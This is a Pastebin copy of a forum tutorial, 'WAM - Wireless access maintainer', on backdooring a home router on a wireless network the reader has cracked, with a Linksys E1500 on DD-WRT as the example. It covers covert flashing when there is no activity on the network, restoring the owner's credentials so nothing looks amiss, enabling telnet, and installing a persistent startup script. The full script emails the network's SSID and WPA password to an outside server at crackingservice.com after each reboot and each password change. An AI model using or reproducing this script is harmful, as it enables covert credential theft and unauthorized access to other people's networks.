Advertisement
pomwtin

WAM

Jan 30th, 2016
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.82 KB | None | 0 0
  1. [align=center][img]http://i.imgur.com/uGvtLk2.png[/img][/align]
  2. [align=center][size=large][b]
  3. WAM - Wireless access maintainer[/b][/size][/align]
  4.  
  5. [align=center][b][size=medium][color=#00BFFF]As many of you know, gaining access to wireless network sometimes is not easy at all.[/color][/size][/b][/align]
  6.  
  7. [align=center]
  8. Sure, if we can exploit WPS it is not so hard, but as you may notice less and less APs have WPS enabled and more APs have better WPS brute- force protection.
  9. Basically this leaves us with “classic” WPA/WPA2 vulnerability: The 4- way handshake.
  10. Now imagine: all the time put into effort, all the electricity bills caused by handshake cracking, everything just blown away by AP owner login credentials change…
  11. Not really nice feeling, isn’t it? [/align]
  12.  
  13. [align=center][img]http://i.imgur.com/bkMAF1F.png[/img][/align]
  14.  
  15. [align=center][b][size=medium][color=#00BFFF]What can we do in such case? How can we prevent AP access loss?[/color][/size][/b][/align]
  16.  
  17. [align=center][b]Enabling remote control[/b] -> not going to help if IP is not static and if owner change router credentials
  18. [b]Writing down WPS pin[/b] -> this usually helps, but it happened too many times that owner disabled it (ISP advice)
  19. [b]Leave hidden guest network open[/b] -> Easily noticeable[/align]
  20.  
  21. [align=center][b][size=medium][color=#00BFFF]There is another option… Why not backdooring router?[/color][/size][/b][/align]
  22.  
  23. [align=center]There are a few ways to do this. Since most of household (our main targets I believe) routers have very limited amount of memory I’m going to present method which uses the smallest amount of space and has proven reliable to me – Not one network lost in little less than a year (and there were some password changes)!
  24. [b]Nice, isn’t it?[/b][/align]
  25.  
  26. [align=center][img]http://i.imgur.com/bkMAF1F.png[/img][/align]
  27.  
  28. [align=center][b][size=medium][color=#00BFFF]Example will be shown on Linksys E1500 router.[/color][/size][/b][/align]
  29.  
  30. [align=center][b]To avoid rise of suspicion we perform steps below when there is NO activity in the network![/b]
  31.  
  32. After quick look at controll panel, we notice there is no telnet or SSH option to enable. This is bad, as we will need it.
  33.  
  34. There are workarounds:
  35. A) Find more up to date firmware and check if it has telnet or SSH option
  36. B) Check if router is supported by DD-WRT or other aftermarket firmware manufacturers (Tomato) – they usually give you more control over your machine (check DD-WRT support [url=http://www.dd-wrt.com/site/support/router-database]HERE[/url]).
  37.  
  38. Here, we decide to take option B).
  39. Why – I am not in the mood for checking official firmware for their options and I know that DD-WRT (since they support this router) won’t let me down.
  40.  
  41. We notice that router (Linksys E1500) is supported by DD-WRT as shown on image below:[/align]
  42.  
  43. [align=center][img]http://shrani.si/f/2m/6H/3UF4RMGH/router-is-supported.png[/img][/align]
  44.  
  45. [align=center]
  46. Now download your firmware – it should be something mentioning factory image -> DD-WRT image or first installation, like shown on image below:[/align]
  47.  
  48. [align=center]
  49. [img]http://shrani.si/f/1f/d3/2SvLVHgf/for1stinstallation.png[/img][/align]
  50.  
  51. [align=center][b]Before firmware upgrade save all network settings![/b] There should be no changes meanwhile upgrading firmware, but just to be sure- Copy / Write down ALL network settings so you will be able to put network back up if needed.
  52.  
  53. Now find firmware update window (administration -> firmware upgrade) and perform upgrade:[/align]
  54.  
  55. [align=center][img]http://shrani.si/f/45/hn/483njVrB/update.png[/img][/align]
  56.  
  57. [align=center]In case of power shortage there is a chance of bricking the router!
  58.  
  59. After firmware upgrade is completed router [b]login credentials will change[/b]:
  60. Username: root
  61. Password: admin
  62.  
  63. Change them back to original ones to avoid rise of suspicion.
  64.  
  65. Some routers will delete current wireless network and create new opened one called “dd-wrt”.
  66. After connecting back into network follow steps below to set network as it was before:
  67.  
  68. [b]1[/b]) Check WAN access. If everything is OK then you do not have to make any changes in connection settings. Else set the same settings you saved in previous step.
  69. [b]2[/b]) Set wireless setting to same as before (ESSID, type of encryption, PSK) + set TX power to MAX :whistle:
  70.  
  71. Till now you may have noticed that GUI looks a bit different- Yes, this is the bad side of using third-party firmware. However there is workaround:
  72.  
  73. With tools like “firmware mod kit” and similar you can extract files from firmware and modify it. BUT (yes, there is always a but…) most of latest DD-WRT images GUI are protected and therefor difficult to change – thanks to companies which decided to change GUI and sell it as their own. As I said- this is difficult and requires different approaches for different firmware images and that’s why it won’t be covered in this tutorial.
  74.  
  75. Back to the topic…
  76.  
  77. Now we need to enable SSH or telnet management- your choice.
  78.  
  79. Since SSH requires 2 changes in settings (1st enabling SSH, 2nd turning SSH on) we decide to go with telnet which just needs to be turned on (administration -> management), as shown on picture below:[/align]
  80.  
  81. [align=center][img]http://shrani.si/f/j/Tl/2m9PvBhB/telnet.png[/img][/align]
  82. [align=center]
  83.  
  84. Also, if there is JFFS/JFFS1/JFFS2 option to enable ((administration -> management)), then enable it, as shown on picture below:[/align]
  85.  
  86. [align=center][img]http://shrani.si/f/3X/kG/4xOyg5kr/jffs.png[/img][/align]
  87.  
  88. [align=center]Clean JFFS2 is selected as we do not want it full- we need few kB of space..
  89. Select save and apply settings – router may reboot and you will have to reconnect.
  90. Now go back to Clean JFFS2 setting and DISABLE it- then save and apply settings again. Router may reboot this time too. This gives us some free space.
  91. It is not always necessary, but usually it has to be enabled for us to be able to continue our work.
  92. I won’t bother explaining what JFFS is (be honnest, you are able to google it)- you can read about it [url=https://en.wikipedia.org/wiki/JFFS]HERE[/url][/align]
  93.  
  94. [align=center][img]http://i.imgur.com/bkMAF1F.png[/img][/align]
  95.  
  96. [align=center][b][size=medium][color=#00BFFF]Congrats, router is now ready for backdooring.[/color][/size][/b][/align]
  97.  
  98. [align=center]Before we continue let’s assume that you know how router works. Basically, we will be working with routers NVRAM, where settings are saved.[/align]
  99.  
  100. [align=center][u][b]IMPORTANT[/b][/u]:
  101. DD-WRT expect our script to have UNIX line ending. You can still write it under windows, just be sure to save it right. Use program like DOS2UNIX and MAC2UNIX accessible [url=http://sourceforge.net/projects/dos2unix/]HERE[/url]
  102.  
  103. Or just use right settings before saving, like shown in example below :[/align]
  104.  
  105. [align=center][img]http://shrani.si/f/3w/UY/4uiIS84p/unix.png[/img][/align]
  106.  
  107. [align=center]
  108. [b]If you ignore this, router won’t be able to execute it.[/b] [/align]
  109.  
  110. [align=center]Now power up terminal.
  111. [b]If you use windows[/b] :omg: and have telnet disabled, enable it with: “dism /online /Enable-Feature /FeatureName:TelnetClient”
  112.  
  113. Connect to router: “telnet 192.168.2.1” and login with username “root” and routers login password.
  114. As shown on picture below, first thing we do is check if “sendmail” is included in firmware.
  115. Simply write command “sendmail” an press enter. If you get no error output, then it is included.[/align]
  116.  
  117. [align=center][img]http://shrani.si/f/1S/FC/4brvnvMO/sendmail.png[/img][/align]
  118.  
  119. [align=center]If you get an error, then you have to install sendmail first:
  120. 0) find out what package manager you are dealing with- usually dpkg, ipkg or opkg
  121. 1) create jffs/tmp/Xpkg (where X is correct character for package mannager)
  122. 2) run Xpkg update (where X is correct character for package mannager)
  123. 3) run Xpkg install sendmail (where X is correct character for package mannager)
  124. 4) If there are dependencies errors, install dependencies too
  125.  
  126. Now we have to find where in NVRAM ESSID and PSK is saved. use command “nvram show | grep “typeESSIDhere”” and command “nvram show | grep “typePSKhere””.
  127. You will get output similar to this one:[/align]
  128.  
  129. [align=center]
  130. [img]http://shrani.si/f/26/hC/3uKSLsOd/grepgrep.png[/img][/align]
  131.  
  132. [align=center]There are ESSID and PSK in more than one variable. We need to locate the one that changes directly after ESSID and PSK change. After few ESSID and PSK changes and outputs shown below we locate such variables: in this example it is “wl0_ssid” for ESSID and “wl0_wpa_psk” for PSK. That is what we will use further in this tutorial.
  133. If router have 2.4 GHz and 5 GHz network there will be 4 such variables instead of 2.
  134.  
  135. Now after we got fundamental variables names for this job we still need to find SMTP server- after each PSK change, PSK and some details will be emailed to us- [b]that’s our backdoor![/b] :thumbsup:
  136.  
  137. I suggest searching google for free SMTP servers. Basically you need to find information posted on picture below- There is exception: If SMTP does not require authentication then you need only servers address and port ([b]feel free to use the same SMTP server I am using[/b]).[/align]
  138.  
  139. [align=center][img]http://shrani.si/f/3e/2U/3uiN7jF4/smtp.png[/img][/align]
  140.  
  141. [align=center][b][size=medium][color=#00BFFF]Now let’s take a look at our script…[/color][/size][/b][/align]
  142.  
  143. [align=center]Use, modify and integrate it as you wish, but it would be nice to give credits to author :oui:
  144.  
  145. [b]Complete script is at the bottom of the page ![/b]
  146.  
  147. Edit following part to needs of your SMTP server. Descriptions of variables are in script :[/align]
  148.  
  149. [php]# INTERVAL [seconds] - Check every INTERVAL if PSK was changed
  150. INTERVAL=60
  151. # MAIL_SERVER [address:port] - SMTP server in form smtp.example.com:26
  152. MAIL_SERVER=mail.crackingservice.com:26
  153. # MAIL_USER [username] - SMTP server username if authentication is required - EDIT SENDMAIL COMMAND!
  154. #MAIL_USER=username
  155. # MAIL_PASS [password] - SMTP server password if authentication is required - EDIT SENDMAIL COMMAND!
  156. #MAIL_PASS=password
  157. # MAIL_FROM [sender@domain.com] - Email address which will be shown as sender. WARNING: some SMTP servers does not allow spoofing, so use right domain instead.
  158. MAIL_FROM=gatherer@crackingservice.com
  159. # DOMAIN_NAME [domain.com] - Domain of sender, SMTP server or recipient, not sure...
  160. DOMAIN_NAME=crackingservice.com
  161. # MAIL_TO [recipient@domain.com] - Email address to which collected data will be send
  162. MAIL_TO=gatherer@crackingservice.com
  163. [/php]
  164.  
  165. [align=center]Now we will declare function responsible for data gathering and email sending:[/align]
  166.  
  167. [php]# __sendmail - Function for data gathering and sending it via Email
  168. # Current form: Email was (not) sent because of startup trigger! From HH.MM_dd.mm.yyyy on, ESSID 'essid of AP' expects PSK 'psk of AP'
  169. __sendmail(){
  170. echo $STARTUP "From" $(date +%H.%M_%d.%m.%Y) "on, ESSID" "'"$(nvram get wl0_ssid)"'" "expects PSK" "'"$(nvram get wl0_wpa_psk)"'" | sendmail -S$MAIL_SERVER -f$MAIL_FROM -d$DOMAIN_NAME $MAIL_TO
  171. }
  172. [/php]
  173.  
  174. [align=center]Change [b]wl0_ssid[/b] and [b]wl0_wpa_psk[/b] to variables you got before.
  175. Leave other parts alone and you will receive email in form of “Email was (not) sent because of startup trigger! From HH.MM_dd.mm.yyyy on, ESSID 'essid of AP' expects PSK 'psk of AP'”. If you know what you are doing, feel free to midify it.[/align]
  176.  
  177. [align=center]The part below is responsible for sending us email 30 seconds after router start up. After that, it changes “STARTUP” value, so we will know that sending of email was not triggered by router startup:[/align]
  178.  
  179. [php]# Email current settings 30 [seconds] after router startup. Then change STARTUP value for further emails
  180. sleep 30
  181. STARTUP="Email was sent because of startup trigger!"
  182. __sendmail
  183. STARTUP="Email was not sent because of startup trigger!"
  184. [/php]
  185.  
  186. [align=center]
  187. Now we will save current PSK, so we will be able to compare it with future PSKs and trigger email sending if they will mismatch:[/align]
  188.  
  189. [php]# Remember current PSK as wpa_psk_old
  190. nvram set wpa_psk_old=`nvram get wl0_wpa_psk`
  191. nvram commit
  192. [/php]
  193.  
  194. [align=center]And finally the last part- the main loop. It checks if old and current PSK mismatch every “INTERVAL” seconds, and if they do sending of email is triggered and current PSK is saved as old PSK for further checking:[/align]
  195.  
  196. [php]# Infinite loop - commands till while loop below will be executed only once
  197. # Some APs do not reboot after PSK is changed. Loop below takes care of that.
  198. # Every INTERVAL [seconds] check if PSK was changed
  199. while sleep $INTERVAL
  200. do
  201. # Get current wpa PSK
  202. wpa_psk_current=`nvram get wl0_wpa_psk`
  203. wpa_psk_old=`nvram get wpa_psk_old`
  204. # If current wpa PSK is not the same as wpa PSK saved as wpa_psk_old
  205. if [ $wpa_psk_current != $wpa_psk_old ]; then
  206. # Send new data ro MAIL_TO email
  207. __sendmail
  208. # Set current wpa PSK as wpa_psk_old
  209. nvram set wpa_psk_old=$wpa_psk_current
  210. nvram commit
  211. fi
  212. done[/php]
  213.  
  214. [align=center][b]Complete script:[/b][/align]
  215.  
  216. [php]#!/bin/sh
  217. # WAM.startup
  218. # WAM - wifi access maintainer will send AP PSK, ESSID and timestamp to email address EMAIL_TO on every router startup and whenever PSK is changed.
  219. # Script can not survive factory reset- for this it has to be integrated into router firmware immage along with other changes (enable jffs, create directories)
  220. # Script is created for and tested on dd-wrt firmwares
  221. # NOTE: sendmail flags may vary with versions of installed busybox.
  222. # SETUP: put WAM.startup into jffs/etc/config so it wont be deleted after router reboot.
  223.  
  224. # INTERVAL [seconds] - Check every INTERVAL if PSK was changed
  225. INTERVAL=60
  226. # MAIL_SERVER [address:port] - SMTP server in form smtp.example.com:26
  227. MAIL_SERVER=mail.crackingservice.com:26
  228. # MAIL_USER [username] - SMTP server username if authentication is required - EDIT SENDMAIL COMMAND!
  229. #MAIL_USER=username
  230. # MAIL_PASS [password] - SMTP server password if authentication is required - EDIT SENDMAIL COMMAND!
  231. #MAIL_PASS=password
  232. # MAIL_FROM [sender@domain.com] - Email address which will be shown as sender. WARNING: some SMTP servers does not allow spoofing, so use right domain instead.
  233. MAIL_FROM=gatherer@crackingservice.com
  234. # DOMAIN_NAME [domain.com] - Domain of sender, SMTP server or recipient, not sure...
  235. DOMAIN_NAME=crackingservice.com
  236. # MAIL_TO [recipient@domain.com] - Email address to which collected data will be send
  237. MAIL_TO=gatherer@crackingservice.com
  238.  
  239. # __sendmail - Function for data gathering and sending it via Email
  240. # Current form: Email was (not) sent because of startup trigger! From HH.MM_dd.mm.yyyy on, ESSID 'essid of AP' expects PSK 'psk of AP'
  241. __sendmail(){
  242. echo $STARTUP "From" $(date +%H.%M_%d.%m.%Y) "on, ESSID" "'"$(nvram get wl0_ssid)"'" "expects PSK" "'"$(nvram get wl0_wpa_psk)"'" | sendmail -S$MAIL_SERVER -f$MAIL_FROM -d$DOMAIN_NAME $MAIL_TO
  243. }
  244.  
  245. # Email current settings 30 [seconds] after router startup. Then change STARTUP value for further emails
  246. sleep 30
  247. STARTUP="Email was sent because of startup trigger!"
  248. __sendmail
  249. STARTUP="Email was not sent because of startup trigger!"
  250.  
  251. # Remember current PSK as wpa_psk_old
  252. nvram set wpa_psk_old=`nvram get wl0_wpa_psk`
  253. nvram commit
  254.  
  255. # Infinite loop - commands till while loop below will be executed only once
  256. # Some APs do not reboot after PSK is changed. Loop below takes care of that.
  257. # Every INTERVAL [seconds] check if PSK was changed
  258. while sleep $INTERVAL
  259. do
  260. # Get current wpa PSK
  261. wpa_psk_current=`nvram get wl0_wpa_psk`
  262. wpa_psk_old=`nvram get wpa_psk_old`
  263. # If current wpa PSK is not the same as wpa PSK saved as wpa_psk_old
  264. if [ $wpa_psk_current != $wpa_psk_old ]; then
  265. # Send new data ro MAIL_TO email
  266. __sendmail
  267. # Set current wpa PSK as wpa_psk_old
  268. nvram set wpa_psk_old=$wpa_psk_current
  269. nvram commit
  270. fi
  271. done
  272.  
  273. [/php]
  274.  
  275. [align=center]Or download it from [url=http://www.crackingservice.com/ddwrt_sendmail/WAM.startup]HERE[/url]
  276.  
  277. [b]SCRIPT HAVE TO BE IN .startup TYPE OF FILE[/b] (so it will be executed at router startup)[/align]
  278.  
  279. [align=center][b][size=medium][color=#00BFFF]Backdoor installation[/color][/size][/b][/align]
  280.  
  281. [align=center]Now all we have to do is:
  282.  
  283. 1) Upload script somewhere
  284. 2) create jffs/etc/config in router (just avoid temp folder as content gets deleted)
  285. 3) wget script to jffs/etc/config
  286. 4) make script executable (chmod +x)
  287. 5) manually perform test run
  288. 6) check if it works after router reboots
  289.  
  290. You may notice that I am a bit lazy, and that’s why I made video regarding last 6 steps… I am tired of writing and explaining this. :tongue:
  291.  
  292. To my big suprise, it appears that video is [b]exactly[/b] the same length as Metallica - Nothing Else Matters… So enjoy it as background music :thumbsup:[/align]
  293.  
  294. [align=center]
  295. [video=youtube]https://www.youtube.com/watch?v=pOqVVEJ_zI8[/video][/align]
  296.  
  297.  
  298. If there are any questions, feel free to ask :oui:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement